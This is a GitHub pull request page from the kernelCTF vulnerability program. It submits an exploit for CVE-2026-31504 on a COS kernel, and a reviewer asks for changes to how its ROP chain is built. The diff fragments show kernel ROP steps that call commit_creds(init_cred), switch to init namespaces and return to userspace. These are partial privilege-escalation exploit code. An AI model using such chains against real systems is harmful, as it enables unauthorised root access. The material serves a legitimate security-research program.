kernelCTF: add CVE-2026-31504_cos#409
Open
4ab48b3f1ded2472 wants to merge 1 commit into
Open
Conversation
artmetla
added
recheck
artmetla
reviewed
Jul 21, 2026
| rop += 8; | ||
| *rop++ = kaddr(POP_RDI); | ||
| *rop++ = kaddr_offset(target.GetSymbolOffset("init_cred")); | ||
| *rop++ = kaddr_offset(target.GetSymbolOffset("commit_creds")); |
Collaborator
There was a problem hiding this comment.
Could you please elaborate why usage of rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); is not possible in this exploit?
artmetla
reviewed
Jul 21, 2026
| *rop++ = kaddr(POP_RSI); | ||
| *rop++ = kaddr_offset(target.GetSymbolOffset("init_nsproxy")); | ||
|
|
||
| *rop++ = kaddr_offset(target.GetSymbolOffset("switch_task_namespaces")); |
Collaborator
There was a problem hiding this comment.
Could you elaborate why rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1}); is not used here?
artmetla
reviewed
Jul 21, 2026
| // Userspace RIP | ||
| *rop++ = (uint64_t) after_pwn; | ||
|
|
||
| *rop++ = kaddr(RETURN_VIA_SYSRET); |
Collaborator
There was a problem hiding this comment.
Would it be possible to rely on { RopActionId::RET2USR, "ret2usr" } here or utilise telefork?
artmetla
requested changes
Jul 21, 2026
artmetla
left a comment
artmetla
left a comment
Collaborator
There was a problem hiding this comment.
Hey @4ab48b3f1ded2472. Could you please check my comments about ROP chain building and update it or explain why it's not possible? Cheers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
No description provided.